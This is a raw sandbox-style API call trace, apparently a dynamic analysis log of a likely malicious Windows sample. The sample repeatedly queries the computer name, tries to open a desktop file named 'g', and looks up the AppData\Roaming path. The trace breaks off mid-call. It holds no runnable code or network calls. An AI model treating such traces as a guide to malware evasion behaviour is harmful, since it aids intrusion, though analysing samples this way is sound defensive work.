ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.809] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.809] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.809] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.809] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.809] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.809] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.809] CloseHandle (hObject=0x0) returned 0 [0222.809] CloseHandle (hObject=0xffffffff) returned 1 [0222.809] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.809] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.809] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.810] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.810] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.810] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.810] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.810] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.810] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.810] CloseHandle (hObject=0x0) returned 0 [0222.810] CloseHandle (hObject=0xffffffff) returned 1 [0222.810] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.810] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.810] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.810] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.810] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.810] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.810] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.810] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.810] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.810] CloseHandle (hObject=0x0) returned 0 [0222.810] CloseHandle (hObject=0xffffffff) returned 1 [0222.810] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.810] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.810] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.810] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.810] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.811] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.811] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.811] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.811] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.811] CloseHandle (hObject=0x0) returned 0 [0222.811] CloseHandle (hObject=0xffffffff) returned 1 [0222.811] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.811] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.811] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.811] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.811] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.811] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.811] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.811] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.811] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.811] CloseHandle (hObject=0x0) returned 0 [0222.811] CloseHandle (hObject=0xffffffff) returned 1 [0222.811] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.811] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.811] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.811] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.811] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.811] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.812] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.812] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.812] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.812] CloseHandle (hObject=0x0) returned 0 [0222.812] CloseHandle (hObject=0xffffffff) returned 1 [0222.812] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.812] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.812] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.812] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.812] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.812] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.812] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.812] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.812] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.812] CloseHandle (hObject=0x0) returned 0 [0222.812] CloseHandle (hObject=0xffffffff) returned 1 [0222.812] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.812] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.812] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.812] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.812] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.812] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.812] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.812] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.812] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.812] CloseHandle (hObject=0x0) returned 0 [0222.813] CloseHandle (hObject=0xffffffff) returned 1 [0222.813] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.813] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.813] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.813] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.813] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.813] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.813] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.813] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.813] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.813] CloseHandle (hObject=0x0) returned 0 [0222.813] CloseHandle (hObject=0xffffffff) returned 1 [0222.813] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.813] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.813] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.813] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.813] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.813] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.813] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.813] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.813] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.813] CloseHandle (hObject=0x0) returned 0 [0222.813] CloseHandle (hObject=0xffffffff) returned 1 [0222.813] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.813] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.813] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.813] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.814] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.814] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.814] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.814] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.814] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.814] CloseHandle (hObject=0x0) returned 0 [0222.814] CloseHandle (hObject=0xffffffff) returned 1 [0222.814] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.814] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.814] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.814] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.814] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.814] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.814] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.814] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.814] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.814] CloseHandle (hObject=0x0) returned 0 [0222.814] CloseHandle (hObject=0xffffffff) returned 1 [0222.814] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.814] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.814] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.814] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.814] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.814] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.814] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.814] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.815] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.815] CloseHandle (hObject=0x0) returned 0 [0222.815] CloseHandle (hObject=0xffffffff) returned 1 [0222.815] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.815] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.815] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.815] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.815] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.815] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.815] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.815] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.815] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.815] CloseHandle (hObject=0x0) returned 0 [0222.815] CloseHandle (hObject=0xffffffff) returned 1 [0222.815] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.815] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.815] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.815] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.815] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.815] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.815] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.815] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.815] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.816] CloseHandle (hObject=0x0) returned 0 [0222.816] CloseHandle (hObject=0xffffffff) returned 1 [0222.816] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.816] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.816] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.816] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.816] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.816] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.816] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.816] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.816] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.816] CloseHandle (hObject=0x0) returned 0 [0222.816] CloseHandle (hObject=0xffffffff) returned 1 [0222.816] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.816] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.816] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.816] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.816] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.816] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.816] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.816] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.816] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.816] CloseHandle (hObject=0x0) returned 0 [0222.816] CloseHandle (hObject=0xffffffff) returned 1 [0222.817] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.817] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.817] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.817] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.817] CreateFileW (lpFileName="g" 